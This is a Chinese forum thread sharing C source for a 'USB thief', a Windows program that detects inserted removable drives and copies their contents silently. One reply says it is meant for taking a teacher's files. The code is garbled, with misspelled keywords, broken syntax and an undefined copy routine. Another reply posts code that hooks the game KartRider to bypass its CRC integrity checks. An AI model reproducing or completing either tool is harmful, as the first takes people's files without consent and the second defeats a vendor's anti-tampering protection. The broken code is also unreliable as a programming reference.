zhanghailiangji 发表于 2018-2-28 16:17

U盘小偷-- 链接代码

本帖最后由 zhanghailiangji 于 2018-3-2 11:43 编辑

#include<windows.h>                //窗口头文件
#include"resource.h"
#include<Dbt.h >                     //DBT_DEVICEARRIVAL头文件
#include<stdio.h >                  //头文件
//获取当前插入设备对应的磁盘编号
char   firstdrivefromMask(ULONG unitmask)         //返回字符,写一个函数
//firstdrivefromMask(ULONG)传一个参数ULONG
//窗口处理函数
LRESULT CALLBACK windowproc(       // windowproc函数处理
//LRESULT//返回值,就是long .// windowproc()//函数名写上,指针 . //CALLBACK 回调函数,__ctdcall,默认的是:__pascal
4个参数:HWNDhwnd       //窗口句柄
               UINT   umsg                      //UINT无符号int型 ,消息编号
                WPARAMwparam             //附加消息
               LPARAM   iparam               //附加消息
}
{
TCHAR *pszrootpath = NULL;             //定一个变量
//TCHAR定一个变量,pszrootpath根目录
switch(umsg)            //判断一下关闭消息
{
cese   WM_DEVICECHANGE;             //U盘插入消息, 设备改变消息
//判断   switch(wparam)
{
caseDBT_DEVICEARRIVAL;      //设备已经插入计算机,并且可以使用
去掉//messagebox(hwnd,TEXT("已经检检测设备插入并且可以使用") ,TEXT("提示") ,MB_OK);
{
//判断一下//   //强制转换//DEV_BROADCAST_HDR * lpdb = (DEV_BROADCAST_HDR*) lparam;         // HDR盘符
//lpdb 是个变量,逻辑卷,    lparam强制转换 , DEV_BROADCAST_HDR结构体类型
DEV_BROADCAST_ VOLUME*lpdbv = ( DEV_BROADCAST_ VOLUME*)lpdb;//获取盘符名称
//VOLUME逻辑卷 , 强制转换DEV_BROADCAST_ VOLUME*lpdbv = ( DEV_BROADCAST_ VOLUME), 强制转换lpdb拿过来

char chdisk =firstdrivefromMask(lpdbv ->dbcv_unitmask);    //盘符出来了
//调用 firstdrivefromMask(lpdbv ->dbcv_unitmask), 值char字符的
pszrootpath = new   TCHAR;   //根目录值,给他一个值
// newTCHAR开辟空间
sprintf(pszrootpath,"%c:", chdisk);      //格式化, c字符, :号格式化进去了,:号格代表路径

//判断驱动器类型
if (DRIVE_REMOVABLE== getdrivetype(pszrootpath))      //判断一下getdrivetype(pszrootpath
//DRIVE_REMOVABLE可移动磁盘
{
//创建一个线程,复制文件,递归函数
createthread(NULL, NULL, copyproc,NULL,NULL,NULL);
//创建线程NULL, NULL, copyproc,NULL,NULL,NULL
//copyfile() ;            //复制一个文件
//createdirectory();//创建文件夹


}



break;
//判断一下//   case DBT_DEVICEREMOVECOMPLETE;   //设备移除完成 ,设备删除
去掉//messagebox(hwnd,TEXT("已经检检测设备已经移除") ,TEXT("提示") ,MB_OK);
break;
}
messagebox(hwnd,TEXT("已经检测到设备发成改变") ,TEXT("提示") ,MB_OK);      //弹处框框,消息提示框
//TEXT("已经检测到设备发成改变") ,TEXT("提示") ,MB_OK);    // 弹出一个 语句
break;
case WM_CLOSE:      //CLOSE消息 , 窗口关闭消息
//showWindow(hwnd,SW_HIDE);                  //隐藏
destroywindow(hwnd);    //销毁窗口
break;
case WM_DESTROY;       //处理这个消息,窗口销毁消息, 变量销毁,数据清理
postquitmessage(0);         //退出
break;
}
return Defwindowproc(hwnd,umsg,wparam,lparam);
}
//获取当前插入设备对应的磁盘编号
char   firstdrivefromMask(ULONG unitmask)   
(
chari;                  //制定一个char, 返回ch
//for循环// for(i=0;i<32;i++)         //i<32整数32位
{
if(unitmask & 1)       // unitmask & 1   按位语为真就break
break;         //跳出循环
unitmask= unitmask >> 1;   //不为真右移>>1
}
return i+‘A’;               // 移上循环次数

return ch;                  //返回ch
)//main//函数    winmain() //函数

int WINAPI //入口   winmain(
      1.参数//HINSTANCE   hinstance,         //应用程序实例句柄   
      2.参数//HINSTANCE   hpreinstance,    //应用程序前一个实例句柄
      3.参数//LPSTR   ipcmdline                   //   命令行参数 , 字符串
      //LPSTR   ipcmdline   就是char*
      4.参数//int    ncmdshow                      //整形参数,表示窗口的显示方式,最大化,最小化,隐藏
      
   }
{
/*
做一个窗口:
步骤:1.设计窗口类
找到工具 -- spy++ -- 望远镜。
TEXT // 宏定义,字符集:默认编码:unicode编码,多字节字符集
//字符串数组表示//TCHAR szclassappname[ ] = TEXT ("TZ-UDiskthief ");   //名字
//WND 窗口, CLASS类名
//结构体变量//WNDCLASSwndclass;      //窗口类型
wndclass,cbclsextra = 0;               //窗口类型额外字节大小
wndclass,cbwndextra = 0 ;             //窗口扩展空间字节大小
wndclass,hbrbackground =(HBRUSH) getstockobject(WHITE_BRUSH) ;       //加载白色背景画刷   
// HBRUSH强制转换
wndclass,hcursor =loadcursor( NULL,IDC_ARROW);      //加载光标
// loadcursor加载箭头光标 , IDC_ARROW箭头名字
wndclass.hicon = loadicon(hinstance,MAKEINTRESOURCE(IDI_ICON1) );    //加载图标
//hicon 图标 ,定义,IDI_ICON1头文件在resource.h里面#define IDI_ICON1 101
//MAKEINTRESOURCE(IDI_ICON1)强制转换
wndclass.hinstance = hinstance;      //应用程序实例句柄
wndclass.lpfnwndproc=windowproc;       //窗口处理函数,回调函数
wndclass.lpszclassname =szclassappname   //窗口类型名
wndclass.lpszmenuname = NULL;            //菜单名
wndclass.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS;    //窗口类的风格


2.注册窗口类
registerclass(&wndclass);   //注册窗口类

3.创建窗口
HWND hwnd = createwindow(               //HWND hwnd窗口句柄值
szclassappname,                                  //窗口的类型名
   TEXT("U盘小偷"),                              //窗口标题
   WS_OVERLAPPEDWINDOW,               //窗口的风格
   300,                                                //窗口位置和坐标,窗口左上角横坐标
    100,                                              //   窗口左上角纵坐标
    400,                                                 //窗口的宽度
    300,                                              //窗口的高度
    NULL,                                             //父窗口句柄
    NULL,                                             //菜单句柄
    hinstance,                                          //应用程序实例句柄
    NULL,                                                 //参数

);
4.显示窗口
showWindow(hwnd, SW_SHOW);      //显示窗口

5.更新窗口
updatewindow(hwnd);         //更新与刷新一下

6.消息循环
MSG msg;             //定一个变量
while(getmessage(&msg ,NULL , 0 ,0) )                              // while循环. 消息循环
//getmessage获取,保存在&msg里面, 获取全部消息NULL , 0 ,0
{
//将虚拟键消息转换为字符消息
translatemessage(&msg);      //translatemessage 函数         msg值转换,转换
//将消息分发给窗口处理函数处理
dispatchmessage(&msg);



}
*/
}
return 0;       //结束程序
//窗口处理函数
LRESULT CALLBACK windowproc(
//LRESULT//返回值,就是long .// windowproc()//函数名写上,指针 . //CALLBACK 回调函数,__ctdcall,默认的是:__pascal
4个参数:HWNDhwnd       //窗口句柄
               UINT   umsg                      //UINT无符号int型 ,消息编号
                WPARAMwparam             //附加消息
}                LPARAM   iparam               //附加消息
{
returndefwindowproc(hwnd,umsg,wparam,lparam);       //defwindowproc(hwnd)调用系统函数来处理
}

雨季丶 发表于 2018-2-28 17:35

C语言。。。楼主牛逼

PP小灰灰 发表于 2018-2-28 16:26

我有一段代码,帮我翻译一下,谢谢PUCHAR image_end = nullptr; PUCHAR image_copy = nullptr; UINT32 Memorycrc_check1 = 0x01226699; UINT32 Memorycrc_retn1 = 0x01226792; UINT32 Memorycrc_check2 = 0xF4C14A; UINT32 Memorycrc_retn2 = Memorycrc_check2 + 0x6;   #define NAKED __declspec(naked) void __stdcall    NAKED crc_check2() {         VMProtectBegin("crc_check2");         __asm{               cmp ecx, image_end;               jg nobypass;               cmp ecx, image_base;               jl nobypass;               sub ecx, image_base;               add ecx, image_copy;         nobypass:               mov ecx, dword ptr;               add dword ptr , ecx;               mov esi, ebp;               jmp;         }         VMProtectEnd(); }   void WINAPI Initialize_bypasscrc_t() {         VMProtectBegin("Initialize_bypasscrc_t");         //SetConfigPath();         image_base = reinterpret_cast<unsigned char*>(GetModuleHandle(L"KartRider.exe"));         IMAGE_NT_HEADERS* nt_header = PIMAGE_NT_HEADERS(image_base + PIMAGE_DOS_HEADER(image_base)->e_lfanew);         image_copy = reinterpret_cast<unsigned char*>(malloc(nt_header->OptionalHeader.SizeOfImage));         memcpy(image_copy, image_base, nt_header->OptionalHeader.SizeOfImage);         image_end = image_base + nt_header->OptionalHeader.SizeOfImage;         WriteJUMP(Memorycrc_check1, Memorycrc_retn1);         WriteJUMP(Memorycrc_check2, (DWORD)crc_check2);         VMProtectEnd(); }

吴兜兜 发表于 2018-2-28 16:22

先顶一个,看着好眼睛疼

Titanic 发表于 2018-2-28 16:32

看不明白,不知道干啥呢。

D小小贱 发表于 2018-2-28 16:36

158563862 发表于 2018-2-28 16:32
看不明白,不知道干啥呢。

偷老师课件的,插入电脑,自动拷贝u盘内容

暮歌尽天下 发表于 2018-2-28 16:43

u盘小偷?用来偷U盘的吗{:1_937:}

liuanta 发表于 2018-2-28 16:58

这是做什么用的?

爸爸爱你 发表于 2018-2-28 17:11

看不懂。

haoxiujie 发表于 2018-2-28 17:17

这个的作用是什么呢https://hdtime.org/promotionlink.php?key=2213d2611fcc1bdd4c27eba4c872a274https://hdtime.org/promotionlink.php?key=2213d2611fcc1bdd4c27eba4c872a274
页: [1] 2 3
查看完整版本: U盘小偷-- 链接代码